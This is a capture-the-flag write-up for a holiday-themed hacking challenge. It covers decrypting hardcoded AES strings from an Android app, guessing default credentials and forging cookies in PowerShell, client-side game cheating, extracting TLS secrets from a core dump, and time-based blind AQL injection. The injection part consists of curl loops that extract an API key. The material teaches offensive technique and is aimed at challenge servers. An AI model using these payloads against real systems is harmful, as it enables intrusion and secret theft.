db.execSQL(decryptData("IVrt+9Zct4oUePZeQqFwyhBix8cSCIxtsa+lJZkMNpNFBgoHeJlwp73l2oyEh1Y6AfqnfH7gcU9Yfov6u70cUA2/OwcxVt7Ubdn0UD2kImNsclEQ9M8PpnevBX3mXlW2QnH8+Q+SC7JaMUc9CIvxB2HYQG2JujQf6skpVaPAKGxfLqDj+2UyTAVLoeUlQjc18swZVtTQO7Zwe6sTCYlrw7GpFXCAuI6Ex29gfeVIeB7pK7M4kZGy3OIaFxfTdevCoTMwkoPvJuRupA6ybp36vmLLMXaAWsrDHRUbKfE6UKvGoC9d5vqmKeIO9elASuagxjBJ"));
insertInitialData(db);
}
...
private final String decryptData(String encryptedData) {
try {
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(2, this.secretKeySpec, new GCMParameterSpec(128, this.iv));
byte[] doFinal = cipher.doFinal(Base64.decode(encryptedData, 0));
Intrinsics.checkNotNull(doFinal);
return new String(doFinal, Charsets.UTF_8);
} catch (Exception e) {
Log.e("DatabaseHelper", "Decryption failed: " + e.getMessage());
return null;
}
}
...
cat classes/sources/com/northpole/santaswipe/R.java
...
public static final class string {
public static int app_name = 0x7f090001;
public static int ek = 0x7f090033;
public static int iv = 0x7f090037;
private string() {
}
}
...
cat ../SantaSwipeSecure_apk/res/values/strings.xml
...
<string name="ek">rmDJ1wJ7ZtKy3lkLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw=</string>
<string name="expanded">Expanded</string>
<string name="in_progress">In progress</string>
<string name="indeterminate">Partially checked</string>
<string name="iv">Q2hlY2tNYXRlcml4</string>
<string name="m3c_bottom_sheet_pane_title">Bottom Sheet</str
...
With the help of AI, we are having a Java programme created that performs the same steps as the decryptData function in DatabaseHelper.java.
import javax.crypto.Cipher;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class Decryptor {
private static final String KEY = "rmDJ1wJ7ZtKy3lkLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw=";
private static final String IV = "Q2hlY2tNYXRlcml4";
public static String decrypt(String encryptedData, String base64Key, String base64Iv) throws Exception {
// Decode key, IV and encrypted data from Base64
byte[] keyBytes = Base64.getDecoder().decode(base64Key);
byte[] ivBytes = Base64.getDecoder().decode(base64Iv);
byte[] encryptedBytes = Base64.getDecoder().decode(encryptedData);
// Create cipher instance and initialize
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, "AES");
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
GCMParameterSpec gcmParameterSpec = new GCMParameterSpec(128, ivBytes);
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, gcmParameterSpec);
// Decrypt
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
return new String(decryptedBytes, StandardCharsets.UTF_8);
}
public static void main(String[] args) {
if (args.length < 1) {
System.out.println("Usage: java Decryptor <encrypted-string>");
System.out.println("Example: java Decryptor NmfFlqJV+K1mcN9+Yp81/Vku9+A2aAwUTns96j8eMWk7TUtSxw==");
System.exit(1);
}
try {
String encrypted = args[0];
String decrypted = decrypt(encrypted, KEY, IV);
System.out.println("Decrypted value: " + decrypted);
} catch (IllegalArgumentException e) {
System.out.println("Error: Invalid Base64 input");
e.printStackTrace();
} catch (Exception e) {
System.out.println("Error during decryption: " + e.getMessage());
e.printStackTrace();
}
}
}
Now we can decrypt the SQL which is executed right after setting up the database:
javac Decryptor.java
java Decryptor "IVrt+9Zct4oUePZeQqFwyhBix8cSCIxtsa+lJZkMNpNFBgoHeJlwp73l2oyEh1Y6AfqnfH7gcU9Yfov6u70cUA2/OwcxVt7Ubdn0UD2kImNsclEQ9M8PpnevBX3mXlW2QnH8+Q+SC7JaMUc9CIvxB2HYQG2JujQf6skpVaPAKGxfLqDj+2UyTAVLoeUlQjc18swZVtTQO7Zwe6sTCYlrw7GpFXCAuI6Ex29gfeVIeB7pK7M4kZGy3OIaFxfTdevCoTMwkoPvJuRupA6ybp36vmLLMXaAWsrDHRUbKfE6UKvGoC9d5vqmKeIO9elASuagxjBJ" 2> /dev/null
Decrypted value: CREATE TRIGGER DeleteIfInsertedSpecificValue
AFTER INSERT ON NormalList
FOR EACH ROW
BEGIN
DELETE FROM NormalList WHERE Item = 'KGfb0vd4u/4EWMN0bp035hRjjpMiL4NQurjgHIQHNaRaDnIYbKQ9JusGaa1aAkGEVV8=';
END;
java Decryptor "KGfb0vd4u/4EWMN0bp035hRjjpMiL4NQurjgHIQHNaRaDnIYbKQ9JusGaa1aAkGEVV8=" 2> /dev/null
Decrypted value: Joshua, Birmingham, United Kingdom
Now we have the missing person: Joshua.
I'm delighted you succeeded - your help is keeping Alabaster's plans moving forward and you're truly proving invaluable!
As an extension to the previous approach with a Java program for decryption, we want to solve the whole thing in CyberChef and with just one recipe with a maximum of two operations. We can achieve this by switching from AES GCM to AES CTR. AES-GCM (Galois/Counter Mode) provides both confidentiality and integrity by generating an authentication tag that ensures data authenticity and protects against tampering. In contrast, AES-CTR (Counter Mode) only encrypts data for confidentiality but lacks built-in integrity or authentication, leaving it vulnerable to modification without detection.
AES-GCM also requires a 12-byte IV (Initialization Vector) for optimal performance and security. AES-CTR, on the other hand, typically uses a 16-byte IV for block alignment, and if the IV is shorter, it is often padded with zeros or another deterministic method to reach the required length.
So, trying to pad the IV (we start with 00000001 hex), we reduce the operations and finally succeed:
Team Wombley is developing snow weapons in preparation for conflict, but they've been locked out by their own defenses. Help Piney with regaining access to the weapon operations terminal.
I'm Piney Sappington, and with all this tension between Wombley and Alabaster's factions, I need your help accessing two functions in our PowerShell Terminal for snowball weaponry - the snow cannon terminal (which should be relatively easy) and the more heavily defended production and deployment plans. While I definitely didn't program these defense mechanisms myself, they're in a faulty lockdown state, and your skills might give us the advantage we need right now.
The dialogue guides us and also gives us clues. For this reason, I have only listed the questions and the corresponding answers below.
Are you ready to begin? [y]es: y
1) There is a file in the current directory called 'welcome.txt'. Read the contents of this file
PS /home/user> Get-Content ./welcome.txt
2) Geez that sounds ominous, I'm sure we can get past the defense mechanisms.
We should warm up our PowerShell skills.
How many words are there in the file?
PS /home/user> Get-Content ./welcome.txt | Measure-Object -Word
3) There is a server listening for incoming connections on this machine, that must be the weapons terminal. What port is it listening on?
PS /home/user> netstat -l
4) You should enumerate that webserver. Communicate with the server using HTTP, what status code do you get?
PS /home/user> Invoke-WebRequest -uri "http://localhost:1225"
5) It looks like defensive measures are in place, it is protected by basic authentication.
Try authenticating with a standard admin username and password.
PS /home/user> $base64AuthInfo = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("admin:admin"))
PS /home/user> $headers = @{Authorization = "Basic $base64AuthInfo"}
PS /home/user> Invoke-WebRequest -Uri "http://localhost:1225" -Headers $headers
6) There are too many endpoints here.
Use a loop to download the contents of each page. What page has 138 words?
When you find it, communicate with the URL and print the contents to the terminal.
$response = Invoke-WebRequest -Uri "http://localhost:1225" -Headers $headers
foreach ($link in $response.Links) {
$url = $link.href
$linkResponse = Invoke-WebRequest -Uri $url
$wordCount = ($linkResponse.Content -split '\s+' | Measure-Object).Count
Write-Output "URL: $url - Word Count: $wordCount"
}
PS /home/user> (Invoke-WebRequest -Uri "http://localhost:1225/endpoints/13").Content
7) There seems to be a csv file in the comments of that page.
That could be valuable, read the contents of that csv-file!
PS /home/user> (Invoke-WebRequest -Headers $headers -Uri "http://127.0.0.1:1225/token_overview.csv").Content
8) Luckily the defense mechanisms were faulty!
There seems to be one api-endpoint that still isn't redacted! Communicate with that endpoint!
PS /home/user> (Invoke-WebRequest -Headers $headers -Uri "http://127.0.0.1:1225/token_overview.csv").Content -split "`n" | Where-Object { $_ -notmatch "REDACTED" }
9) It looks like it requires a cookie token, set the cookie and try again.
PS /home/user> $webSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession
PS /home/user> $webSession.Cookies.Add((New-Object System.Net.Cookie("token", "5f8dd236f862f4507835b0e418907ffc", "/", "127.0.0.1")))
PS /home/user> (Invoke-WebRequest -Headers $headers -Uri "http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C" -WebSession $webSession).Content
10) Sweet we got a MFA token! We might be able to get access to the system.
Validate that token at the endpoint!
PS /home/user> $mfa = ((Invoke-WebRequest -Headers $headers -Uri "http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C" -WebSession $webSession).Content).Substring(42, 18)
PS /home/user> $webSession.Cookies.Add((New-Object System.Net.Cookie("mfa_token", $mfa, "/", "127.0.0.1")))
PS /home/user> (Invoke-WebRequest -Headers $headers -Uri "http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C" -WebSession $webSession).Content
11) That looks like base64! Decode it so we can get the final secret!
PS /home/user> $encodedString = "Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg=="
PS /home/user> $decodedBytes = [Convert]::FromBase64String($encodedString)
PS /home/user> $decodedString = [Text.Encoding]::UTF8.GetString($decodedBytes)
PS /home/user> Write-Output $decodedString
Correct Token supplied, you are granted access to the snow cannon terminal. Here is your personal password for access: SnowLeopard2ReadyForAction
I'll let you in on a little secret—there’s a way to bypass the usual path and write your own PowerShell script to complete the challenge. Think you're up for it? I know you are!
PowerShell Admin Access - Total Control Hints: I overheard some of the other elves talking. Even though the endpoints have been redacted, they are still operational. This means that you can probably elevate your access by communicating with them. I suggest working out the hashing scheme to reproduce the redacted endpoints. Luckily one of them is still active and can be tested against. Try hashing the token with SHA256 and see if you can reliably reproduce the endpoint. This might help, pipe the tokens to Get-FileHash -Algorithm SHA256.
PowerShell Admin Access - Fakeout EDR Threshold: They also mentioned this lazy elf who programmed the security settings in the weapons terminal. He created a fakeout protocol that he dubbed Elf Detection and Response "EDR". The whole system is literally that you set a threshold and after that many attempts, the response is passed through... I can't believe it. He supposedly implemented it wrong so the threshold cookie is highly likely shared between endpoints!
We have all the end points from step 7 of the previous task, even if they have been REDACTED. We could use Get-FileHash -Algorithm SHA256
as in the hints. But I quickly typed this in Linux to create proper hashes:
cat hashes.txt
04886164e5140175bafe599b7f1cacc8
664f52463ef97bcd1729d6de1028e41e
3e03cd0f3d335c6fb50122553f63ef78
...
for i in `cat hashes.txt `; do echo $i | sha256sum | cut -f 1 -d " "; done
dfd05f3b46d21bc8556cdbf544325a945ed0304ec0bb7dbfd68ed5931e7ff6ee
1f3c45d7e7b1f7621f67136c538c6933791d3392648c7b0f8b17fb1a6343ebd5
e2dbbdbcc7e57e526841899975b6621105710e76c203c1dc30419e7f1cba5297
...
With the second hint, we know that the threshold cookie is shared between all endpoints. Now we only have to fire all the requests to the endpoints. We could create a Powershell script on the target system to do this, but we'll make it easy for ourselves by having Excel assemble the individual calls (from the previous task) and copy all the generated commands into the console.
=VERKETTEN(
"$webSession.Cookies.Add((New-Object System.Net.Cookie(""token"", """&A1&""", ""/"", ""127.0.0.1""))); ";
"$mfa = (Invoke-WebRequest -Headers $headers -Uri ""http://127.0.0.1:1225/tokens/"&C1&""" -WebSession $webSession).Content.Substring(265, 18); ";
"$webSession.Cookies.Add((New-Object System.Net.Cookie(""mfa_token"", $mfa, ""/"", ""127.0.0.1""))); ";
"(Invoke-WebRequest -Headers $headers -Uri ""http://127.0.0.1:1225/mfa_validate/"&C1&""" -WebSession $webSession).Content"
)
I'm thrilled with your incredible PowerShell skills - you not only retrieved the needed codeword by navigating the tricky security, but you also tackled the harder path and demonstrated the expertise we desperately need during these tense times between factions!
Wombley has recruited many elves to his side for the great snowball fight we are about to wage. Please help us defeat him by hitting him with more snowballs than he does to us.
I'm Dusty Giftwrap, fresh from the battlefield, and while I love snowball fights, I'm siding with Alabaster - you really don't want to see Santa when he's angry! We need your help dealing with Wombley Cube, and you've got options: team up with a friend for a direct approach, try tweaking client-side values for an advantage, or help us find and launch our secret snow bomb. Whatever strategy you choose, our goal is clear - bringing victory to Alabaster and ending this conflict!
The easy way would be to play with two people, but it's not a problem to play alone. First, you have to change the parameter in the URL as follows:
...&singlePlayer=false -> ...&singlePlayer=true
If we play with the obvious parameters, such as mainScene.snowBallBlastRadius
or mainScene.throwRateOfFire
, we get a warning message that we have hacked. So we go on the defensive and simply "shrink" Alabaster. This way, he can hardly be hit and victory is ours.
mainScene.alabaster._scaleY=0.1;
mainScene.alabaster._scaleX=0.1;
mainScene.alabaster.hitbox.height=2;
mainScene.alabaster.hitbox.width=2;
Dusty mentions a bomb, so we search for this word in the source code and find it in reconnecting-websocket.min.js. Let's ask the AI again how we can use it.
How can I access, start or launch the dwarfBomb in :
(code from reconnecting-websocket.min.js posted)
To access and start the dwarfBomb functionality in the provided JavaScript snippet, you need to trigger the moasb_start event as this is the condition that initializes the bomber sequence and ultimately launches the dwarfBomb.
Understanding the Event Flow:
The function bgDebug listens for events of type "moasb_start".
Once this event is triggered, the main scene (mainScene) initializes the bomber container (bomberContainer) and its components, including the dwarfBomb.
Triggering the Event:
You can trigger the "moasb_start" event by dispatching a custom event. Ensure that mainScene exists and the environment is properly set up to handle it.
...
you can ensure the triggering function calls bgDebug directly with an appropriate event object:
bgDebug({ type: "moasb_start" });
If we enter this into the console, we are successful and win the battle.
Update: It has turned out that this call will start the event but will not be counted as a medal. However, an alternative call always leads to success.
this.mainScene.moasb()
I'm thrilled you managed to launch the 'mother-of-all-snow-bombs' and outsmart Wombley! After last year's snowball fight, we learned to track all player actions server-side to prevent cheating - though let's hope Alabaster didn't leave any client-side vulnerabilities for Wombley. Now that his forces are defeated, they'll have to give up their plans to take over Christmas!
Wombley's ransomware server is threatening to publish the Naughty-Nice list. Find a way to deactivate the publication of the Naughty-Nice list by the ransomware server.
This is the continuation of the Decrypt the Naughty-Nice List challenge. Now the aim is to switch off the publication completely.
Frostbit Publication Hints: There must be a way to deactivate the ransomware server's data publication. Perhaps one of the other North Pole assets revealed something that could help us find the deactivation path. If so, we might be able to trick the Frostbit infrastructure into revealing more details.
Frostbit Slumber Hints: The Frostbit author may have mitigated the use of certain characters, verbs, and simple authentication bypasses, leaving us blind in this case. Therefore, we might need to trick the application into responding differently based on our input and measure its response. If we know the underlying technology used for data storage, we can replicate it locally using Docker containers, allowing us to develop and test techniques and payloads with greater insight into how the application functions.
In order to find a starting point for this challenge, we first need some information from the Santa Vision Challenge. If we listen to the Frostbit feed there, a reference to the URL that allows deactivation will also appear.
Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley
We still know our Unique User ID (UUID or botid) from the Decrypt the Naughty-Nice List challenge. If we use any value for the X-API-Key
header, as seen in the feed, we also receive the response that this call is not valid. However, as in the decrypt challenge, we add the debug parameter to the call and thus at least get an indication of the invalid key.
curl https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate -H "X-API-Key:Test"
{"error":"Invalid Request"}
curl https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true -H "X-API-Key: Test"
{"debug":true,"error":"Invalid Key"}
Since this header is the only obvious variable point, we add special characters to trigger error messages to indicate a possible SQL injection. And indeed, a single quote generates an error.
We restructure the error message a little more nicely in order to understand it better and obtain a reference to ArangoDB, a graph database, in a web search.
curl https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true -H "X-API-Key: Test '"
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n <other_query_lines_omitted>\n RETURN doc"}
FOR doc IN config
FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'
<other_query_lines_omitted>
RETURN doc
Our entry point and variable part is therefore user_supplied_x_api_key
, which we can pass via the URL. Unfortunately, we very quickly receive the response Request Blocked
from the server as soon as we start adding certain keywords in the AQL, the Arango Query Language. The easy way is therefore not open to us.
However, the elves have also told us that we have to operate blindly. So if we exhaust the server with a valid query, a longer response time could be a good indication as opposed to an error that provides a quick response, a classic blind sql injection.
Here, too, we have to try out a little with the help of the developer's syntax manual, as many operators are blocked. However, we find out that the sleep operation and the ternary operator pass. This allows us to make queries that take a long time in the true case and not in the false case:
time curl "https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true" -H "X-API-Key: Test' || (true?sleep(20):2) || '"
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n <other_query_lines_omitted>\n RETURN doc"}
real 0m2.364s
user 0m0.028s
sys 0m0.005s
time curl "https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true" -H "X-API-Key: Test' || (false?sleep(20):2) || '"
{"debug":true,"error":"Invalid Key"}
real 0m0.365s
user 0m0.031s
sys 0m0.000s
The next step is to understand how the data structures in this database are organised in the first place; either the manufacturer's website directly or a web search will help us here. As we do not know the name of our attribute (see doc.<key_name_omitted>
), we must first read it out. We choose the simple approach of checking whether the value begins with a certain letter. If there is a match, the waiting time is longer. Then we move on to the next letter. Finally we get: deactivate_api_key.
for i in {a..z} {0..9} '_' '-' '#' ; do echo "Testing $i"; curl --max-time 1 "https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true" -H "X-API-Key: Test' || ( SUBSTRING(ATTRIBUTES(doc)[0],0,1) == \"$i\" ?sleep(50):2) || '" ; echo ""; sleep 1; done
Testing a
{"debug":true,"error":"Invalid Key"}
Testing b
{"debug":true,"error":"Invalid Key"}
Testing c
{"debug":true,"error":"Invalid Key"}
Testing d
curl: (28) Operation timed out after 1002 milliseconds with 0 bytes received
...
for i in {a..z} {0..9} '_' '-' '#' ; do echo "Testing $i"; curl --max-time 1 "https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true" -H "X-API-Key: Test' || ( SUBSTRING(ATTRIBUTES(doc)[0],0,19) == \"deactivate_api_key$i\" ?sleep(50):2) || '" ; echo ""; sleep 1; done
Now that we know the name of our attribute, all we have to do is read out the value in it. To do this, we use exactly the same approach:
for i in {a..z} {0..9} '_' '-' '#' ; do echo "Testing $i"; curl --max-time 1 "https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true" -H "X-API-Key: Test' || ( SUBSTRING(doc.deactivate_api_key,0,1) == \"$i\" ?sleep(50):2) || '" ; echo ""; sleep 1; done
Testing a
curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received
Testing b
{"debug":true,"error":"Invalid Key"}
Testing c
{"debug":true,"error":"Invalid Key"}
...
for i in {a..z} {0..9} '_' '-' '#' ; do echo "Testing $i"; curl --max-time 1 "https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true" -H "X-API-Key: Test' || ( SUBSTRING(doc.deactivate_api_key,0,37) == \"abe7a6ad-715e-4e6a-901b-c9279a964f91$i\" ?sleep(50):2) || '" ; echo ""; sleep 1; done
Hooray! Now we can send our actual request for deactivation and have completed the task.
curl https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate -H "X-API-Key:abe7a6ad-715e-4e6a-901b-c9279a964f91"
{"message":"Response status code: 200, Response body: {\"result\":\"success\",\"rid\":\"37492952-8386-4a00-b6ad-f8accc4ef12f\",\"hash\":\"e19274f1377f614403fc72333577e68ff4654d716ac60706e5a813572b2efc31\",\"uid\":\"80511\"}\nPOSTED WIN RESULTS FOR RID 37492952-8386-4a00-b6ad-f8accc4ef12f","status":"Deactivated"}
Decrypt the Frostbit-encrypted Naughty-Nice list and submit the first and last name of the child at number 440 in the Naughty-Nice list.
I'm Tangle Coalbox, and we've got ourselves a real mess - Wombley used Frostbit ransomware to encrypt the Naughty-Nice List but then lost the encryption keys! But knowing Wombley like I do, I bet he didn't fully understand Frostbit's encryption, which gives us a chance - with your expertise, we might be able to crack and reverse-engineer this code before the holidays are ruined.
Frostbit Hashing Hints: The Frostbit infrastructure might be using a reverse proxy, which may resolve certain URL encoding patterns before forwarding requests to the backend application. A reverse proxy may reject requests it considers invalid. You may need to employ creative methods to ensure the request is properly forwarded to the backend. There could be a way to exploit the cryptographic library by crafting a specific request using relative paths, encoding to pass bytes and using known values retrieved from other forensic artifacts. If successful, this could be the key to tricking the Frostbit infrastructure into revealing a secret necessary to decrypt files encrypted by Frostbit.
Frostbit Forensics Hints: I'm with the North Pole cyber security team. We built a powerful EDR that captures process memory, network traffic, and malware samples. It's great for incident response - using tools like strings to find secrets in memory, decrypt network traffic, and run strace to see what malware does or executes.
First, we download the required artefacts using Generate & Download Artifacts
. We have to keep in mind that this may take some time and that the generated artefacts are created differently each time. After that, we unzip the files.
unzip frostbitartifacts.zip
Archive: frostbitartifacts.zip
inflating: DoNotAlterOrDeleteMe.frostbit.json <-- Frostbit configuration settings
inflating: frostbit.elf <-- Frostbit binary
inflating: frostbit_core_dump.13 <-- Frostbit core dump
inflating: naughty_nice_list.csv.frostbit <-- Encrypted naught and nice list
inflating: ransomware_traffic.pcap <-- Frostbit web traffic
Due to the large number of files, there are several starting points. Let's first look at the json file, as this is the easiest to read, there we find a digest, which will probably be something like a hash and in hex format, as well as a status ID, an ASCII value, which could probably be the ID of this Frostbit instance. And the status itself, which indicates that a key has been successfully set.
From this we conclude that Frostbit has encrypted the naughty and nice list locally and sent this key to the server, where it is then stored.
cat DoNotAlterOrDeleteMe.frostbit.json
{"digest":"c28180184c4104a481e8b81e34402011","status":"Key Set","statusid":"pwvS5jRDn5qu"}
With luck, the key could be seen in web traffic. We therefore open the pcap file in Wireshark and are immediately disappointed, as the protocol is TLSv1.3, i.e. the traffic is encrypted and cannot be read by us.
However, we also have a core dump, which could contain the exact secrets that the client and server exchanged in order to set up the secure connection:
strings frostbit_core_dump.13 | grep TRAFFIC_SECRET
?CLIENT_HANDSHAKE_TRAFFIC_SECRET
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\CLIENT_HANDSHAKE_TRAFFIC_SECRET 72ef792517c56ef4fbf70374c4b1cf8a
CLIENT_HANDSHAKE_TRAFFIC_SECRET 72ef792517c56ef4fbf70374c4b1cf8a30f0386530e05ddab9acd0469c9ba999 2891b16c7ded549396e0ac93496be123e35cacd69de8982c075be70c1c32828c
SERVER_HANDSHAKE_TRAFFIC_SECRET 72ef792517c56ef4fbf70374c4b1cf8a30f0386530e05ddab9acd0469c9ba999 847c9aa8c80652e778166343095cfa895605c086269a4eb3deda586901394c82
CLIENT_TRAFFIC_SECRET_0 72ef792517c56ef4fbf70374c4b1cf8a30f0386530e05ddab9acd0469c9ba999 991f0cfcdfd6aad302ebcc926c4f7ddc6c5d000a6a4e330287557925e40000ca
SERVER_TRAFFIC_SECRET_0 72ef792517c56ef4fbf70374c4b1cf8a30f0386530e05ddab9acd0469c9ba999 90bcdaff404ed875c52563de2bcdedf13ef8c825543631cbcce2d1fd58a1694d
We quickly check whether these secrets are the same in the pcap by matching the Random field in Wireshark. Since the two are identical, we can load them into Wireshark and thus make the traffic readable for us:
cat tlskeys.log
CLIENT_HANDSHAKE_TRAFFIC_SECRET f62579740db5c764ed689de14e028e3c7a3ce26cc6fb18bd601fbfe6b2cb4f58 2891b16c7ded549396e0ac93496be123e35cacd69de8982c075be70c1c32828c
SERVER_HANDSHAKE_TRAFFIC_SECRET 72ef792517c56ef4fbf70374c4b1cf8a30f0386530e05ddab9acd0469c9ba999 847c9aa8c80652e778166343095cfa895605c086269a4eb3deda586901394c82
CLIENT_TRAFFIC_SECRET_0 f62579740db5c764ed689de14e028e3c7a3ce26cc6fb18bd601fbfe6b2cb4f58 991f0cfcdfd6aad302ebcc926c4f7ddc6c5d000a6a4e330287557925e40000ca
SERVER_TRAFFIC_SECRET_0 72ef792517c56ef4fbf70374c4b1cf8a30f0386530e05ddab9acd0469c9ba999 90bcdaff404ed875c52563de2bcdedf13ef8c825543631cbcce2d1fd58a1694d
cat http_log.txt
GET /api/v1/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/session HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Tue, 03 Dec 2024 22:45:03 GMT
Content-Type: application/json
Content-Length: 29
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"nonce":"a4aac16f1c1272ff"}
POST /api/v1/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip
{"encryptedkey":"8c2f47b470548372a965258b57f1fd38b9f9604d80419e163b4ca600c81170f30455f7145c43d5133b0c2328417507a93684ab41b4d924b539f6e3e6256ec7d9e28871ae92cc6e78fde9b9c31e083b21a11d0fb87b1f6ffdd60c709e15fc82d21ce8185e81a4a38c2b8be6d99cee39ed938e7db7b815f904d28fe63c606b6662d521d23c99650a9a21e06849e053ea8af05c367ec6f50f6b6bbf081ecf4b4aaa5aaca43e6d23c11c39b9adfe60805e5fa3c763538c6b1127e5c15fe3ce8d41738ead1c62f08ec9551cd880aa300e7c970069b4da6b0a105628dc04f611082f64082e8a6674fc63da687a526b79ef9c9097b74c7a3c297de6feadb2b7c990c8a4ddd6e1c865444bdb467aba608b99af6cc6a4b2f8ec7a3637d7f177d820dd7dce4fe55ae724186230a118fcaa7e591bf37d75ea3c6fb1a0295ada39022f2191e3b85541c91475d984c3715ab47716f729abf85d5deda1e1b8b2fe5c2d4869277240459e5d4b902006f4221b080c2bd78a1d01b617d3fbe66c820e56d3ddeaba3447ec4684bce4dfd2eb10bab203b64320b4b578edb8773de3b11615a34fedd8ad2dc9375459c53abb112eff8908d2fa27d3df7dcc21e15a012701cb7f8ce864561a42db0f4777535eb741e824050cd5749ed72d15efa00c2499577697cfed477bf0e18211ef409ba628d0f661fab023e8e85fd693c6d5b6e9892fb5d41e9767de","nonce":"a4aac16f1c1272ff"}
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Tue, 03 Dec 2024 22:45:03 GMT
Content-Type: application/json
Content-Length: 91
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"digest":"c28180184c4104a481e8b81e34402011","status":"Key Set","statusid":"pwvS5jRDn5qu"}
Now we have the key for our naughty and lice list, but unfortunately it is only available in encrypted form. So we have to dig deeper.
Let's search the core dump again to see if any other web requests have been sent.
strings frostbit_core_dump.13 | grep "https://api.frostbit.app"
https://api.frostbit.app/view/pwvS5jRDn5qu/37492952-8386-4a00-b6ad-f8accc4ef12f/status?digest=c28180184c4104a481e8b81e34402011
https://api.frostbit.app/view/pwvS5jRDn5qu/37492952-8386-4a00-b6ad-f8accc4ef12f/status?digest=c28180184c4104a481e8b81e34402011
https://api.frostbit.app/api/v1/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/key
https://api.frostbit.app/api/v1/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/session# This file can be edited; Docker Engine will not make further changes once it
We follow the third link, which has not yet been analysed, and arrive at a status page that informs us that the files have been encrypted and what happens if the ransom is not paid. We immediately look into the source code and find references to debug information. We try to access this information via a parameter and are immediately successful:
https://api.frostbit.app/view/pwvS5jRDn5qu/37492952-8386-4a00-b6ad-f8accc4ef12f/status?digest=c28180184c4104a481e8b81e34402011&debug=true
{"uuid": "37492952-8386-4a00-b6ad-f8accc4ef12f", "nonce": "REDACTED", "encryptedkey": "REDACTED", "deactivated": false, "etime": 1734998400}
# Current information:
statusid: pwvS5jRDn5qu (ASCII text, name of file?)
uid: 37492952-8386-4a00-b6ad-f8accc4ef12f (User ID or botid - string)
digest: c28180184c4104a481e8b81e34402011 (hex string -> decoded_bytes)
nonce: a4aac16f1c1272ff (some salt value, most likely for encryption, hex string - REDACTED in debug)
encryptedkey: 8c2f47b470548372a965258b... (encrypted key, hex string - REDACTED in debug)
deactivated: true/false
If we play around a little with the URL parameters, we can generate an error message. This refers to a library FrostBiteHashlib.py
. The static could refer to static files, which causes the web server to output the file directly. If we call up this URL directly, we see the content of the library:
curl "https://api.frostbit.app/view/pwvS5jRDn5qu/37492952-8386-4a00-b6ad-f8accc4ef12f/status?digest=c28180184c4104a481e8b81e34402011TEST&debug=true"
{"debug":true,"error":"Status Id File Digest Validation Error: Traceback (most recent call last):\n File \"/app/frostbit/ransomware/static/FrostBiteHashlib.py\", line 55, in validate\n decoded_bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Non-hexadecimal digit found\n"}
curl https://api.frostbit.app/static/FrostBiteHashlib.py
import traceback
import binascii
class Frostbyte128:
def __init__(self, file_bytes: bytes, filename_bytes: bytes, nonce_bytes: bytes, hash_length: int = 16):
self.file_bytes = file_bytes
self.filename_bytes = filename_bytes
...
Now we know how the library performs the comparison (if decoded_bytes == self.digest()
) and how the hash is generated in the first place (def _compute_hash(self)
